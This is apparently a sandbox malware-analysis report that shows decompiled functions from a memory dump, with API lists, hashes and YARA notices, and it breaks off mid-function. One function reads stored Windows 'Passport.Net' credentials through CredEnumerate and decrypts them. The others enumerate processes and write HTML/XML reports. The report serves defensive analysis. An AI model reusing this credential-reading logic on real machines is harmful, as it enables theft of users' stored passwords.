Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: memcpystrlen$memsetsprintf
String ID: %s (%s)
API String ID: 3756086014-1363028141
Opcode ID: 930878db99837ba46a6e987faf5d20af4a34b58a77fcbe6d93f567b97a470ebe
Instruction ID: 724a4194cae70d0bf31fff2aa5a30eca349b7c3c60a55174e1cb3006c7faee74
Opcode Fuzzy Hash: 930878db99837ba46a6e987faf5d20af4a34b58a77fcbe6d93f567b97a470ebe
Instruction Fuzzy Hash: 2F1190B2800159AFDB21DF58CD44BDABBACEF45308F00856AFB48EB102D275EA55CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8C6, Relevance: 9.1, APIs: 6, Instructions: 142
stringCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E0040E8C6(void* __ecx, void* __eflags, long _a4, intOrPtr _a8) {
				void* _v8;
				signed int _v12;
				unsigned int _v16;
				int _v20;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v308;
				intOrPtr _v312;
				void _v316;
				void _v579;
				char _v580;
				char _v844;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char _v1132;
				char _v17516;
				void* __edi;
				void* __esi;
				void* _t63;
				void* _t64;
				void* _t77;
				intOrPtr _t84;
				void _t94;
				int _t102;
				void* _t106;
				void* _t107;

				E00412360(0x446c, __ecx);
				_t102 = 0;
				_v20 = 0;
				if(E004062A6() == 0 ||  *0x418518 == 0) {
					if( *0x418514 != _t102) {
						_t94 = _a4;
						_t63 =  *0x417fe0(8, _t94);
						_v8 = _t63;
						if(_t63 != 0xffffffff) {
							_v20 = 1;
							_v1132 = 0x224;
							_t64 =  *0x417fd8(_t63,  &_v1132);
							while(_t64 != 0) {
								memset( &_v316, _t102, 0x118);
								_v312 = _v1104;
								_v316 = _t94;
								strcpy( &_v308,  &_v844);
								_v44 = _v1108;
								_t107 = _t107 + 0x14;
								_v40 = _v1112;
								_v1132 = 0x224;
								if(E0040EAD0(_a8,  &_v316) != 0) {
									_t64 =  *0x417fd4(_v8,  &_v1132);
									continue;
								}
								goto L18;
							}
							goto L18;
						}
					}
				} else {
					_t77 = OpenProcess(0x410, 0, _a4);
					_v8 = _t77;
					if(_t77 != 0) {
						_push( &_v16);
						_push(0x4000);
						_push( &_v17516);
						_push(_t77);
						if( *0x417fe4() != 0) {
							_t6 =  &_v16;
							 *_t6 = _v16 >> 2;
							_v20 = 1;
							_v12 = 0;
							if( *_t6 != 0) {
								while(1) {
									_v580 = 0;
									memset( &_v579, _t102, 0x104);
									memset( &_v316, _t102, 0x118);
									_t84 =  *((intOrPtr*)(_t106 + _v12 * 4 - 0x4468));
									_t107 = _t107 + 0x18;
									_v316 = _a4;
									_v312 = _t84;
									 *0x417fdc(_v8, _t84,  &_v580, 0x104);
									E0040E7E3( &_v308,  &_v580);
									_push(0xc);
									_push( &_v32);
									_push(_v312);
									_push(_v8);
									if( *0x417fe8() != 0) {
										_v44 = _v28;
										_v40 = _v32;
									}
									if(E0040EAD0(_a8,  &_v316) == 0) {
										goto L18;
									}
									_v12 = _v12 + 1;
									if(_v12 < _v16) {
										_t102 = 0;
										continue;
									} else {
									}
									goto L18;
								}
							}
						}
						L18:
						CloseHandle(_v8);
					}
				}
				return _v20;
			}

0x0040e8ce
0x0040e8d6
0x0040e8d8
0x0040e8e2
0x0040ea06
0x0040ea0c
0x0040ea12
0x0040ea1b
0x0040ea1e
0x0040ea31
0x0040ea38
0x0040ea3e
0x0040eabb
0x0040ea53
0x0040ea5e
0x0040ea72
0x0040ea78
0x0040ea83
0x0040ea8c
0x0040ea8f
0x0040ea9c
0x0040eaa9
0x0040eab5
0x00000000
0x0040eab5
0x00000000
0x0040eaa9
0x00000000
0x0040eabb
0x0040ea1e
0x0040e8f4
0x0040e8fd
0x0040e905
0x0040e908
0x0040e911
0x0040e912
0x0040e91d
0x0040e91e
0x0040e927
0x0040e92d
0x0040e92d
0x0040e931
0x0040e938
0x0040e93b
0x0040e94a
0x0040e953
0x0040e95a
0x0040e96c
0x0040e977
0x0040e97e
0x0040e982
0x0040e993
0x0040e999
0x0040e9ab
0x0040e9b0
0x0040e9b5
0x0040e9b6
0x0040e9bc
0x0040e9c7
0x0040e9cc
0x0040e9d2
0x0040e9d2
0x0040e9e6
0x00000000
0x00000000
0x0040e9ec
0x0040e9f5
0x0040e948
0x00000000
0x00000000
0x0040e9fb
0x00000000
0x0040e9f5
0x0040e94a
0x0040e93b
0x0040eabf
0x0040eac2
0x0040eac2
0x0040e908
0x0040eacf

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,?,00000000,00000000,?,0040E3BD,00000000,00000000), ref: 0040E8FD
memset.MSVCRT ref: 0040E95A
memset.MSVCRT ref: 0040E96C

Part of subcall function 0040E7E3: strcpy.MSVCRT(?,-00000001), ref: 0040E809

memset.MSVCRT ref: 0040EA53
strcpy.MSVCRT(?,?,?,00000000,00000118), ref: 0040EA78
CloseHandle.KERNEL32(00000000,0040E3BD,?), ref: 0040EAC2

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: memset$strcpy$CloseHandleOpenProcess
String ID:
API String ID: 3799309942-0
Opcode ID: d6c67b7d57a34b5381901d3c53457be756757403445260d001e2bbe54def35e2
Instruction ID: 2a82ac7989168376751b009825c1859dcdea9a7a89aff0dc4cc4404167d83f81
Opcode Fuzzy Hash: d6c67b7d57a34b5381901d3c53457be756757403445260d001e2bbe54def35e2
Instruction Fuzzy Hash: 79512EB1A00218AFDB10DF95CD85ADEBBB8FB48304F1445AAF505A2281DB749F90CF69

Uniqueness

Uniqueness Score: -1.00%

Function 004094DC, Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 106
stringCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E004094DC(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				char _v48;
				char _v68;
				void _v96;
				void* __edi;
				signed int _t51;
				char* _t53;
				char* _t63;
				intOrPtr* _t69;
				signed int _t70;
				char _t84;
				intOrPtr* _t91;
				signed int _t95;
				void* _t96;
				void* _t97;

				_t69 = __ebx;
				_t70 = 6;
				memcpy( &_v96, "<td bgcolor=#%s nowrap>%s", _t70 << 2);
				_t97 = _t96 + 0xc;
				asm("movsw");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				E00405F07(_a4, "<tr>");
				_t95 = 0;
				if( *((intOrPtr*)(__ebx + 0x20)) > 0) {
					do {
						_t51 =  *( *((intOrPtr*)(_t69 + 0x24)) + _t95 * 4);
						_v8 = _t51;
						_t53 =  &_v96;
						if( *((intOrPtr*)((_t51 << 4) +  *((intOrPtr*)(_t69 + 0x34)) + 4)) == 0) {
							_t53 =  &_v48;
						}
						_t91 = _a8;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _v20 | 0xffffffff;
						_v16 = _v16 & 0x00000000;
						_v12 = _t53;
						 *((intOrPtr*)( *_t69 + 0x30))(4, _t95, _t91,  &_v28);
						E0040F6E2(_v28,  &_v68);
						E0040F70E( *((intOrPtr*)( *_t91))(_v8,  *(_t69 + 0x4c)),  *(_t69 + 0x50));
						 *((intOrPtr*)( *_t69 + 0x48))( *(_t69 + 0x50), _t91, _v8);
						_t63 =  *(_t69 + 0x50);
						_t84 =  *_t63;
						if(_t84 == 0 || _t84 == 0x20) {
							strcat(_t63, "&nbsp;");
						}
						E0040F797( &_v28,  *((intOrPtr*)(_t69 + 0x54)),  *(_t69 + 0x50));
						sprintf( *(_t69 + 0x4c), _v12,  &_v68,  *((intOrPtr*)(_t69 + 0x54)));
						E00405F07(_a4,  *(_t69 + 0x4c));
						_t97 = _t97 + 0x20;
						_t95 = _t95 + 1;
					} while (_t95 <  *((intOrPtr*)(_t69 + 0x20)));
				}
				return E00405F07(_a4, 0x413b1c);
			}

0x004094dc
0x004094e6
0x004094ef
0x004094ef
0x004094f1
0x004094fb
0x004094fc
0x004094fd
0x004094fe
0x004094ff
0x00409509
0x0040950a
0x0040950f
0x00409516
0x0040951c
0x0040951f
0x00409525
0x00409530
0x00409533
0x00409535
0x00409535
0x00409538
0x0040953b
0x0040953f
0x00409543
0x00409547
0x00409551
0x0040955a
0x00409564
0x0040957a
0x0040958a
0x0040958d
0x00409590
0x00409594
0x004095a1
0x004095a7
0x004095b1
0x004095c3
0x004095ce
0x004095d3
0x004095d6
0x004095d7
0x0040951c
0x004095f2

APIs

Part of subcall function 00405F07: strlen.MSVCRT ref: 00405F14
Part of subcall function 00405F07: WriteFile.KERNEL32(00413B1C,00000001,00000000,75144DE0,00000000,?,?,00409460,00000001,00413B1C,75144DE0), ref: 00405F21

strcat.MSVCRT(?, ), ref: 004095A1
sprintf.MSVCRT ref: 004095C3

Strings

 , xrefs: 0040959B
<td bgcolor=#%s nowrap>%s, xrefs: 004094E7
<tr>, xrefs: 00409501
<td bgcolor=#%s>%s, xrefs: 004094F3

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: FileWritesprintfstrcatstrlen
String ID:  $<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
API String ID: 3813295786-4153097237
Opcode ID: 08929488c0db453afa1456f90ad20cd14aeeb908293d423d0ab32d1dc2333b83
Instruction ID: d2e4fb28aa3b1966a3fc448ecfbbe776d9831430555dea6067297da34f065eca
Opcode Fuzzy Hash: 08929488c0db453afa1456f90ad20cd14aeeb908293d423d0ab32d1dc2333b83
Instruction Fuzzy Hash: 4F318F32900209AFDF15DF95C8869DE7BB5FF44314F1041AAFD10AB1E2D776A951CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00411133, Relevance: 9.1, APIs: 6, Instructions: 96
stringCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E00411133(void* __ecx, void* __eflags, intOrPtr* _a4, int _a8) {
				void* _v8;
				intOrPtr* _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v288;
				intOrPtr _v800;
				char _v1568;
				char _v1824;
				intOrPtr _v1828;
				intOrPtr _v1840;
				intOrPtr _v1844;
				intOrPtr _v2100;
				intOrPtr _v2612;
				char _v3124;
				char _v3636;
				intOrPtr _v3640;
				void* _v5768;
				char _v5796;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t39;
				intOrPtr _t51;
				int _t60;
				intOrPtr* _t73;
				int _t76;
				void* _t80;

				_t80 = __eflags;
				E00412360(0x16a0, __ecx);
				_t39 = wcslen(_a8);
				_t2 =  &(_t39[1]); // 0x1
				_t76 = _t2;
				_push(_t76);
				L00412090();
				_t60 = 0;
				_v8 = _t39;
				 *_t39 = 0;
				WideCharToMultiByte(0, 0, _a8, 0xffffffff, _t39, _t76, 0, 0);
				_t77 =  &_v5796;
				E004104AE( &_v5796, _t80);
				_v5796 = 0x41553c;
				E00410B65( &_v3636);
				E00410B65( &_v1824);
				_t73 = _a4;
				_v3640 =  *((intOrPtr*)(_t73 + 4));
				_v12 = _t73;
				_a8 = strlen(_v8);
				E0041061F(_t47, _t77);
				memcpy(_v5768, _v8, _a8);
				E0041072A(_t77, _t80);
				_t51 =  *((intOrPtr*)(_t73 + 4));
				_v1840 = _t51;
				_v28 = _t51;
				if(_v2100 != 0 || _v2612 != 0) {
					if(_v1844 != _t60) {
						if(_v1568 != _t60) {
							E004060DA(0xff,  &_v3124,  &_v1568);
							_t73 = _a4;
							_v1828 = _v24;
							_t60 = 0;
						}
						 *((intOrPtr*)( *_t73))( &_v3636);
					}
				}
				if(_v288 != _t60 || _v800 != _t60) {
					if(_v32 != _t60) {
						 *((intOrPtr*)( *_t73))( &_v1824);
					}
				}
				_push(_v8);
				L00412096();
				return E00410596( &_v5796);
			}

0x00411133
0x0041113b
0x00411146
0x0041114b
0x0041114b
0x0041114e
0x0041114f
0x00411156
0x00411161
0x00411166
0x00411168
0x0041116e
0x00411174
0x0041117f
0x00411189
0x00411194
0x00411199
0x004111a2
0x004111a8
0x004111b1
0x004111b4
0x004111c5
0x004111cf
0x004111da
0x004111dd
0x004111e3
0x004111e6
0x004111f6
0x004111fe
0x00411212
0x0041121a
0x0041121e
0x00411224
0x00411224
0x00411231
0x00411231
0x004111f6
0x00411239
0x00411246
0x00411253
0x00411253
0x00411246
0x00411255
0x00411258
0x0041126d

APIs

wcslen.MSVCRT ref: 00411146
??2@YAPAXI@Z.MSVCRT ref: 0041114F
WideCharToMultiByte.KERNEL32(00000000,00000000,004112D5,000000FF,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,004112D5,?,00000000,0041141B), ref: 00411168

Part of subcall function 004104AE: ??2@YAPAXI@Z.MSVCRT ref: 004104C3
Part of subcall function 004104AE: ??2@YAPAXI@Z.MSVCRT ref: 004104E1
Part of subcall function 004104AE: ??2@YAPAXI@Z.MSVCRT ref: 004104FC
Part of subcall function 004104AE: ??2@YAPAXI@Z.MSVCRT ref: 00410525
Part of subcall function 004104AE: ??2@YAPAXI@Z.MSVCRT ref: 00410549

strlen.MSVCRT ref: 004111AB

Part of subcall function 0041061F: ??3@YAXPAX@Z.MSVCRT ref: 0041062A
Part of subcall function 0041061F: ??2@YAPAXI@Z.MSVCRT ref: 00410639

memcpy.MSVCRT ref: 004111C5
??3@YAXPAX@Z.MSVCRT ref: 00411258

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ??2@$??3@$ByteCharMultiWidememcpystrlenwcslen
String ID:
API String ID: 577244452-0
Opcode ID: 770519e61b31c83333b02cb56a71775f59d99fca928b07c7ba0596dbe0491682
Instruction ID: 068040a7654b3252a10ead66c722fc8ae16d1693d490f738ed846916017eff7d
Opcode Fuzzy Hash: 770519e61b31c83333b02cb56a71775f59d99fca928b07c7ba0596dbe0491682
Instruction Fuzzy Hash: 21314472D04219ABCF21EF65C8809DDBBB5AF49314F0481AAE608A3251CB396FD5CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC6E, Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AC6E(void* __edi, intOrPtr _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char* _v36;
				intOrPtr _v40;
				char* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				char _v72;
				void _v1095;
				char _v1096;
				void* __ebx;
				char _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				void* _t39;
				void* _t52;
				char _t59;
				char* _t60;
				intOrPtr _t61;

				_v1096 = 0;
				memset( &_v1095, 0, 0x3ff);
				_v8 = 0x747874;
				_t29 = E00407A69(0x1f5);
				_t59 = "*.txt";
				_v72 = _t29;
				_v68 = _t59;
				_v64 = E00407A69(0x1f6);
				_v60 = _t59;
				_v56 = E00407A69(0x1f7);
				_v52 = _t59;
				_t32 = E00407A69(0x1f8);
				_t60 = "*.htm;*.html";
				_v48 = _t32;
				_v44 = _t60;
				_v40 = E00407A69(0x1f9);
				_v36 = _t60;
				_v32 = E00407A69(0x1fa);
				_v28 = "*.xml";
				_t35 = E00407A69(0x1fb);
				_t61 = "*.csv";
				_v24 = _t35;
				_v20 = _t61;
				_v16 = E00407A69(0x1fc);
				_v12 = _t61;
				E0040687C( &_v1096,  &_v72, 8);
				_t52 = 7;
				_t39 = E00407A69(_t52);
				_t23 =  &_v8; // 0x747874
				return E004066AF(_a8,  *((intOrPtr*)(_a4 + 0x108)), __edi,  &_v1096, _t39, _t23);
			}

0x0040ac87
0x0040ac8e
0x0040ac9b
0x0040aca2
0x0040aca7
0x0040acad
0x0040acb0
0x0040acbd
0x0040acc0
0x0040acc9
0x0040accc
0x0040accf
0x0040acd4
0x0040acde
0x0040ace1
0x0040acea
0x0040aced
0x0040acfa
0x0040acfd
0x0040ad04
0x0040ad09
0x0040ad0f
0x0040ad12
0x0040ad1a
0x0040ad29
0x0040ad2c
0x0040ad35
0x0040ad36
0x0040ad3e
0x0040ad5e

APIs

memset.MSVCRT ref: 0040AC8E

Part of subcall function 00407A69: LoadStringA.USER32 ref: 00407B32
Part of subcall function 00407A69: memcpy.MSVCRT ref: 00407B71

Part of subcall function 00407A69: strcpy.MSVCRT(004182C0,strings,?,?,0040898C,?,?,?,?,?,00000000,75144DE0), ref: 00407AE4
Part of subcall function 00407A69: strlen.MSVCRT ref: 00407B02

Part of subcall function 0040687C: memset.MSVCRT ref: 0040689C
Part of subcall function 0040687C: sprintf.MSVCRT ref: 004068C9
Part of subcall function 0040687C: strlen.MSVCRT ref: 004068D5
Part of subcall function 0040687C: memcpy.MSVCRT ref: 004068EA
Part of subcall function 0040687C: strlen.MSVCRT ref: 004068F8
Part of subcall function 0040687C: memcpy.MSVCRT ref: 00406908

Part of subcall function 004066AF: GetSaveFileNameA.COMDLG32(?), ref: 004066FE
Part of subcall function 004066AF: strcpy.MSVCRT(?,?), ref: 00406715

Strings

*.xml, xrefs: 0040ACFD
*.txt, xrefs: 0040ACA7
*.csv, xrefs: 0040AD09
*.htm;*.html, xrefs: 0040ACD4
txt, xrefs: 0040AD3E, 0040AD41

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: memcpystrlen$memsetstrcpy$FileLoadNameSaveStringsprintf
String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
API String ID: 4021364944-3614832568
Opcode ID: 1ceb36e2604b9e9553284c6e0b24bc998c578e1058e1945574a68be56ec71ef9
Instruction ID: b1b2e5a0efe066de17158a8bc8fa7ff9efe1d0f31d50f94681ee96e1b845f603
Opcode Fuzzy Hash: 1ceb36e2604b9e9553284c6e0b24bc998c578e1058e1945574a68be56ec71ef9
Instruction Fuzzy Hash: B82101B1E042199ED700EFE6D8817DEBBB4AB08704F10417FE509B7282D7382B458F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00410596, Relevance: 9.0, APIs: 6, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00410596(intOrPtr* __edi) {
				void* __esi;
				signed int _t9;
				intOrPtr* _t16;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;

				_t16 = __edi;
				_t9 =  *(__edi + 0x1c);
				 *__edi = 0x415314;
				if(_t9 != 0) {
					_push(_t9);
					L00412096();
					 *(__edi + 0x1c) =  *(__edi + 0x1c) & 0x00000000;
				}
				_t18 =  *((intOrPtr*)(_t16 + 0x460));
				if(_t18 != 0) {
					_t9 = E00406B8A(_t18);
					_push(_t18);
					L00412096();
				}
				_t19 =  *((intOrPtr*)(_t16 + 0x45c));
				if(_t19 != 0) {
					_t9 = E00406B8A(_t19);
					_push(_t19);
					L00412096();
				}
				_t20 =  *((intOrPtr*)(_t16 + 0x458));
				if(_t20 != 0) {
					_t9 = E00406B8A(_t20);
					_push(_t20);
					L00412096();
				}
				_t21 =  *((intOrPtr*)(_t16 + 0x454));
				if(_t21 != 0) {
					_t9 = E00406A7D(_t21);
					_push(_t21);
					L00412096();
				}
				_t22 =  *((intOrPtr*)(_t16 + 0x450));
				if(_t22 != 0) {
					_t9 = E00406A7D(_t22);
					_push(_t22);
					L00412096();
				}
				return _t9;
			}

0x00410596
0x00410596
0x0041059b
0x004105a1
0x004105a3
0x004105a4
0x004105a9
0x004105ad
0x004105af
0x004105b7
0x004105b9
0x004105be
0x004105bf
0x004105c4
0x004105c5
0x004105cd
0x004105cf
0x004105d4
0x004105d5
0x004105da
0x004105db
0x004105e3
0x004105e5
0x004105ea
0x004105eb
0x004105f0
0x004105f1
0x004105f9
0x004105fb
0x00410600
0x00410601
0x00410606
0x00410607
0x0041060f
0x00410611
0x00410616
0x00410617
0x0041061c
0x0041061e

APIs

??3@YAXPAX@Z.MSVCRT ref: 004105A4
??3@YAXPAX@Z.MSVCRT ref: 004105BF
??3@YAXPAX@Z.MSVCRT ref: 004105D5
??3@YAXPAX@Z.MSVCRT ref: 004105EB
??3@YAXPAX@Z.MSVCRT ref: 00410601
??3@YAXPAX@Z.MSVCRT ref: 00410617

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 9b5ba93a1d4d3230e71c89aa2b3a4c501730c6cf36628ebb8de87475de4246d9
Instruction ID: 21774ca54697e01c1adc3851c2de10052fd52e5bfec277bf8b6dbebc5e22beff
Opcode Fuzzy Hash: 9b5ba93a1d4d3230e71c89aa2b3a4c501730c6cf36628ebb8de87475de4246d9
Instruction Fuzzy Hash: 55014872906D316BC5357A3559017DBA3947F05B19B06020FFA09B73424BAC7CE0C9DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040DC39, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 97
stringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040DC39(char* __ebx, void* __eflags) {
				char _v8;
				short* _v12;
				int _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v48;
				intOrPtr _v52;
				int _v56;
				char _v60;
				char _v584;
				void* __edi;
				void* __esi;
				void* _t36;
				intOrPtr _t44;
				void* _t47;
				char _t63;
				int _t69;
				void* _t74;

				_t74 = __eflags;
				_t69 = 0;
				E004046E1( &_v584);
				_v60 = 0;
				_v56 = 0;
				_t36 = E00404651( &_v60, 0, _t74);
				_t75 = _t36;
				if(_t36 != 0 && E004047AA( &_v584, _t75) != 0) {
					_push( &_v8);
					_push(0);
					_push(4);
					_push("Passport.Net\\*");
					if(_v52() != 0) {
						_t44 = _v8;
						if( *((intOrPtr*)(_t44 + 0x30)) != 0 &&  *((intOrPtr*)(_t44 + 0x18)) > 0) {
							_v32 =  *((intOrPtr*)(_t44 + 0x18));
							_v28 =  *((intOrPtr*)(_t44 + 0x1c));
							_t47 = 0;
							_t63 = 0x4a;
							do {
								_t14 = _t47 + L"82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; // 0x320038
								 *(_t47 + 0x418768) =  *_t14 << 2;
								_t47 = _t47 + 2;
							} while (_t47 < _t63);
							_v24 = _t63;
							_v20 = 0x418768;
							if(E0040481B( &_v584,  &_v32,  &_v24,  &_v16) != 0) {
								if(WideCharToMultiByte(0, 0, _v12, _v16,  &(__ebx[0x100]), 0xff, 0, 0) > 0 && strlen( *(_v8 + 0x30)) < 0xff) {
									strcpy(__ebx,  *(_v8 + 0x30));
									_t69 = 1;
								}
								LocalFree(_v12);
							}
							_t44 = _v8;
						}
						_v48(_t44);
					}
				}
				E004046CC( &_v60);
				E004047FB( &_v584);
				return _t69;
			}

0x0040dc39
0x0040dc4a
0x0040dc4c
0x0040dc54
0x0040dc57
0x0040dc5a
0x0040dc5f
0x0040dc61
0x0040dc77
0x0040dc78
0x0040dc79
0x0040dc7b
0x0040dc85
0x0040dc8b
0x0040dc91
0x0040dca3
0x0040dcab
0x0040dcae
0x0040dcb0
0x0040dcb1
0x0040dcb1
0x0040dcbc
0x0040dcc4
0x0040dcc5
0x0040dcdb
0x0040dcde
0x0040dcec
0x0040dd0d
0x0040dd26
0x0040dd2f
0x0040dd2f
0x0040dd33
0x0040dd33
0x0040dd39
0x0040dd39
0x0040dd3d
0x0040dd3d
0x0040dc85
0x0040dd43
0x0040dd4e
0x0040dd58

APIs

Part of subcall function 004046E1: strcpy.MSVCRT ref: 00404730

Part of subcall function 00404651: LoadLibraryA.KERNEL32(advapi32.dll,?,0040DC5F,80000001,7554F420), ref: 0040465E
Part of subcall function 00404651: GetProcAddress.KERNEL32(00000000,CredReadA), ref: 00404677
Part of subcall function 00404651: GetProcAddress.KERNEL32(?,CredFree), ref: 00404683
Part of subcall function 00404651: GetProcAddress.KERNEL32(?,CredDeleteA), ref: 0040468F
Part of subcall function 00404651: GetProcAddress.KERNEL32(?,CredEnumerateA), ref: 0040469B
Part of subcall function 00404651: GetProcAddress.KERNEL32(?,CredEnumerateW), ref: 004046A7

Part of subcall function 004047AA: LoadLibraryA.KERNELBASE(?,0040DC6C,80000001,7554F420), ref: 004047B2
Part of subcall function 004047AA: GetProcAddress.KERNEL32(00000000,?), ref: 004047CA

WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,?,000000FF,00000000,00000000,?,?,00000001), ref: 0040DD05
strlen.MSVCRT ref: 0040DD15
strcpy.MSVCRT(?,?), ref: 0040DD26
LocalFree.KERNEL32(?), ref: 0040DD33

Strings

Passport.Net\*, xrefs: 0040DC7B

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$LibraryLoadstrcpy$ByteCharFreeLocalMultiWidestrlen
String ID: Passport.Net\*
API String ID: 3335197805-3671122194
Opcode ID: d42203313a812c175362967ded223f6fc05771b77deb048e9d9358547b9af39c
Instruction ID: efac9c12738a0d8289842d1efaad299d98c72222a78c1cf1bd4cf7de0e5ce36b
Opcode Fuzzy Hash: d42203313a812c175362967ded223f6fc05771b77deb048e9d9358547b9af39c
Instruction Fuzzy Hash: 47313AB6E00109ABDB10EF96DD45DEE7BB8EF85304F10007AE605F7291D7389A45CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00409808, Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00409808(void* __edi, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				void _v259;
				char _v260;
				signed int _t34;
				char* _t45;
				void* _t47;

				E00405F07(_a4, "<item>\r\n");
				_t34 = 0;
				if( *((intOrPtr*)(__edi + 0x20)) > 0) {
					do {
						_v260 = 0;
						memset( &_v259, 0, 0xfe);
						E0040F70E( *((intOrPtr*)( *_a8))( *( *((intOrPtr*)(__edi + 0x24)) + _t34 * 4),  *((intOrPtr*)(__edi + 0x4c))),  *((intOrPtr*)(__edi + 0x50)));
						_t45 =  &_v260;
						E0040918B(_t45,  *((intOrPtr*)(( *( *((intOrPtr*)(__edi + 0x24)) + _t34 * 4) << 4) +  *((intOrPtr*)(__edi + 0x34)) + 0xc)));
						sprintf( *(__edi + 0x54), "<%s>%s</%s>\r\n", _t45,  *((intOrPtr*)(__edi + 0x50)), _t45);
						E00405F07(_a4,  *(__edi + 0x54));
						_t47 = _t47 + 0x28;
						_t34 = _t34 + 1;
					} while (_t34 <  *((intOrPtr*)(__edi + 0x20)));
				}
				return E00405F07(_a4, "</item>\r\n");
			}

0x0040981a
0x0040981f
0x00409826
0x00409829
0x00409837
0x0040983e
0x0040985a
0x00409869
0x0040986f
0x00409883
0x0040988e
0x00409893
0x00409896
0x00409897
0x0040989c
0x004098ae

APIs

Part of subcall function 00405F07: strlen.MSVCRT ref: 00405F14
Part of subcall function 00405F07: WriteFile.KERNEL32(00413B1C,00000001,00000000,75144DE0,00000000,?,?,00409460,00000001,00413B1C,75144DE0), ref: 00405F21

memset.MSVCRT ref: 0040983E

Part of subcall function 0040F70E: memcpy.MSVCRT ref: 0040F77C

Part of subcall function 0040918B: strcpy.MSVCRT(00000000,?,00409874,?,?,?), ref: 00409190
Part of subcall function 0040918B: _strlwr.MSVCRT ref: 004091D3

sprintf.MSVCRT ref: 00409883

Strings

</item>, xrefs: 0040989D
<item>, xrefs: 00409812
<%s>%s</%s>, xrefs: 0040987B

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: FileWrite_strlwrmemcpymemsetsprintfstrcpystrlen
String ID: <%s>%s</%s>$</item>$<item>
API String ID: 3200591283-2769808009
Opcode ID: ef506932c8d52d72789fba1ffefffec390692f9936b3c03bbb8efc2406efdbf0
Instruction ID: 22b2cf82475c3b06c8668363684e5b6771b4bc8edfe41877af386eb7fddec59d
Opcode Fuzzy Hash: ef506932c8d52d72789fba1ffefffec390692f9936b3c03bbb8efc2406efdbf0
Instruction Fuzzy Hash: 4B11A331600616BFDB11AF15CC42E967B64FF0831CF10017AF909666A2D77ABDA4DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407D63, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407D63(void* __esi, struct HWND__* _a4, signed int _a8) {
				intOrPtr _v12;
				struct tagPOINT _v20;
